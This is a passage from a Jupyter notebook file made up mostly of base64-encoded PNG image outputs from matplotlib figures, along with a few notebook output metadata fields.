j+j8F8CS1km9BDCknznGf\nHpJGks7vtwB8kpn/eTh1AsBr9ftrIbp7O/4a9aa4AsA9JrJfSI2Zf5GZv5WZnwhZD+9h5h8D8F4A\nr9DLergYvF6h119wXBozfxHAXxHRf6WHngPgz/HIXi+fA3AFER3W/WQweUSvlcV2ro0EAF4E4C8A\n/CWAXzrX/XkIx/0siNj4UQAf0c+LIDrD2wF8Wv9eqtcTxEPpLwF8DOJpcM7H8SDD6IcAnNTv3w7g\nTwB8BsA7AWzr8R39/Rk9/+3nut8PIjyeAuCDumbeBeDYI329APjvAXwKwMcBvAXA9matzD+byNhN\n27RN27QLvJ1r1c2mbdqmbdqmPchtg+g3bdM2bdMu8LZB9Ju2aZu2aRd42yD6Tdu0Tdu0C7xtEP2m\nbdqmbdoF3jaIftM2bdM27QJvG0S/aZu2aZt2gbcNot+0Tdu0TbvA2/8LPcIL6qL7kS4AAAAASUVO\nRK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1a43c1482b0>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "image/png": "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